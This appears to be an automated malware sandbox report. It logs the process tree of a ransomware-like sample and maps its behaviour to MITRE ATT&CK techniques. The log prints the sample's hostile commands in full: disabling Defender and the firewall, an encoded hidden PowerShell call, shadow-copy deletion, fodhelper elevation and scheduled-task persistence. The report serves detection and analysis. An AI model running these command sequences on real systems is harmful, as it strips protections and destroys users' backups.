PID 2664 wrote to memory of 5712	2664	chrome.exe	103
PID 3760 wrote to memory of 1580	3760	vaoroizzl.cc_chrome.exe	101
PID 3760 wrote to memory of 1708	3760	vaoroizzl.cc_chrome.exe	162
PID 2664 wrote to memory of 1912	2664	chrome.exe	107
PID 2664 wrote to memory of 1912	2664	chrome.exe	107
PID 3760 wrote to memory of 2084	3760	vaoroizzl.cc_chrome.exe	108
PID 2664 wrote to memory of 5064	2664	chrome.exe	110
PID 2664 wrote to memory of 5064	2664	chrome.exe	110
PID 3760 wrote to memory of 5044	3760	vaoroizzl.cc_chrome.exe	154
PID 3760 wrote to memory of 720	3760	vaoroizzl.cc_chrome.exe	113
PID 3760 wrote to memory of 5728	3760	vaoroizzl.cc_chrome.exe	158
PID 3760 wrote to memory of 4372	3760	vaoroizzl.cc_chrome.exe	117
PID 3760 wrote to memory of 5696	3760	vaoroizzl.cc_chrome.exe	118
PID 4372 wrote to memory of 1684	4372	fodhelper.exe	120
PID 3760 wrote to memory of 4160	3760	vaoroizzl.cc_chrome.exe	121
PID 3760 wrote to memory of 5248	3760	vaoroizzl.cc_chrome.exe	123
PID 3760 wrote to memory of 200	3760	vaoroizzl.cc_chrome.exe	125
PID 3760 wrote to memory of 3928	3760	vaoroizzl.cc_chrome.exe	132
PID 3760 wrote to memory of 1520	3760	vaoroizzl.cc_chrome.exe	133
PID 3760 wrote to memory of 2388	3760	vaoroizzl.cc_chrome.exe	135
PID 3760 wrote to memory of 4120	3760	vaoroizzl.cc_chrome.exe	139
PID 3760 wrote to memory of 4608	3760	vaoroizzl.cc_chrome.exe	141
PID 3760 wrote to memory of 5948	3760	vaoroizzl.cc_chrome.exe	143
PID 3760 wrote to memory of 3696	3760	vaoroizzl.cc_chrome.exe	144
PID 3760 wrote to memory of 4904	3760	vaoroizzl.cc_chrome.exe	145
PID 3760 wrote to memory of 6088	3760	vaoroizzl.cc_chrome.exe	146
PID 3760 wrote to memory of 3800	3760	vaoroizzl.cc_chrome.exe	147
PID 3760 wrote to memory of 3136	3760	vaoroizzl.cc_chrome.exe	148
PID 3760 wrote to memory of 4748	3760	vaoroizzl.cc_chrome.exe	149
PID 3760 wrote to memory of 916	3760	vaoroizzl.cc_chrome.exe	157
PID 4608 wrote to memory of 5728	4608	cmd.exe	198
PID 3696 wrote to memory of 2876	3696	cmd.exe	159
PID 5948 wrote to memory of 2816	5948	cmd.exe	160
PID 4904 wrote to memory of 1272	4904	cmd.exe	161
PID 3800 wrote to memory of 1708	3800	cmd.exe	162
PID 3136 wrote to memory of 4492	3136	cmd.exe	163
PID 6088 wrote to memory of 4780	6088	cmd.exe	164
PID 4780 wrote to memory of 2240	4780	net.exe	165
PID 3760 wrote to memory of 6024	3760	vaoroizzl.cc_chrome.exe	166
PID 3760 wrote to memory of 240	3760	vaoroizzl.cc_chrome.exe	167
PID 3760 wrote to memory of 4112	3760	vaoroizzl.cc_chrome.exe	168
PID 3760 wrote to memory of 2492	3760	vaoroizzl.cc_chrome.exe	169
PID 3760 wrote to memory of 1244	3760	vaoroizzl.cc_chrome.exe	170
PID 3760 wrote to memory of 3000	3760	vaoroizzl.cc_chrome.exe	171
PID 4608 wrote to memory of 616	4608	cmd.exe	178
PID 4112 wrote to memory of 2704	4112	net.exe	194
PID 2664 wrote to memory of 4332	2664	chrome.exe	183
PID 2664 wrote to memory of 2836	2664	chrome.exe	184
PID 2664 wrote to memory of 4204	2664	chrome.exe	185
PID 2664 wrote to memory of 4300	2664	chrome.exe	199
PID 2664 wrote to memory of 2820	2664	chrome.exe	188

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3760
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://vaoroizzl.cc
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffcfd5ac728,0x7ffcfd5ac734,0x7ffcfd5ac740
    3⤵
    PID:1236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,3974102907673475206,17360215423238185388,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1584,i,2429242887384853196,7148284064730196832,262144 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=1892 /prefetch:2
    3⤵
    PID:2708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2228,i,11674478721101880562,17715506224442947358,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:13
    3⤵
    PID:5992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,15109899333415729015,5053309496281925848,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=3148 /prefetch:1
    3⤵
    PID:2344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,17849716026440842503,13210309307999497383,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=3172 /prefetch:1
    3⤵
    PID:5712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4588,i,5055335755072515783,2697608437011092325,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:14
    3⤵
    PID:1912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4824,i,15343580806176223376,2861492938402174131,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:1
    3⤵
    PID:5064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3408,i,17498777450798434994,7326335692056606895,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:14
    3⤵
    PID:4332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3444,i,12528830845869001082,12494176881863569479,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:14
    3⤵
    PID:2836
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4760,i,13201794242409904883,4457318802300584083,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:14
    3⤵
    PID:4204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5280,i,14329340037429190643,9776875450231770344,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:14
    3⤵
    PID:4300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5272,i,5204481675462686401,15907153320644610839,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:1
    3⤵
    PID:4500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4760,i,14689657631065467139,12543009895709700725,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:1
    3⤵
    PID:2820
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5812,i,7738843477220844428,10556827058397581534,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5936 /prefetch:1
    3⤵
    PID:5716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5252,i,8301742446619929572,13993188329216430068,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:1
    3⤵
    PID:5012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5968,i,15914924372544335860,7251330129051411525,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:14
    3⤵
    PID:1268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5864,i,5097485191711426035,12285867647776278374,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:1
    3⤵
    PID:2704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5040,i,17153664423646924961,10559860366398773403,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:1
    3⤵
    PID:1552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6036,i,5584598245867695845,7485781451905209328,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:1
    3⤵
    PID:5292
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5932,i,9652014721762505177,9263247589077714019,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5792 /prefetch:1
    3⤵
    PID:5912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5308,i,1965740064474768177,17419333198441179181,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:14
    3⤵
    PID:5728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5356,i,14873814444558953015,3643211603285341612,524288 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:14
    3⤵
    PID:4300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5332,i,5448653258752985961,6733814546086404130,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:1
    3⤵
    PID:2496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5944,i,6725420964609864051,6500705564696116907,2097152 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:9
    3⤵
    PID:1152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=896,i,9602598993832397735,9029858406351396937,262144 --field-trial-handle=1896,i,13165583457186512968,18025834842978979096,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:10
    3⤵
    PID:3388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3488
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1552
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1376
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1580
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1708
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5044
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5728
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe"
    3⤵
    PID:1684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4160
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5248
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:200
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3928
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1520
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2388
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5728
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:616
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5948
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2816
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2876
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1272
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6088
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5044
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4780
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2240
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1708
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3136
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:4492
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4748
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:916
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6024
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:240
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2704
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2492
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1244
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3000

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4188

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3624

C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe
C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe
1⤵
PID:2512

C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe
C:\Users\Admin\AppData\Local\Temp\vaoroizzl.cc_chrome.exe
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

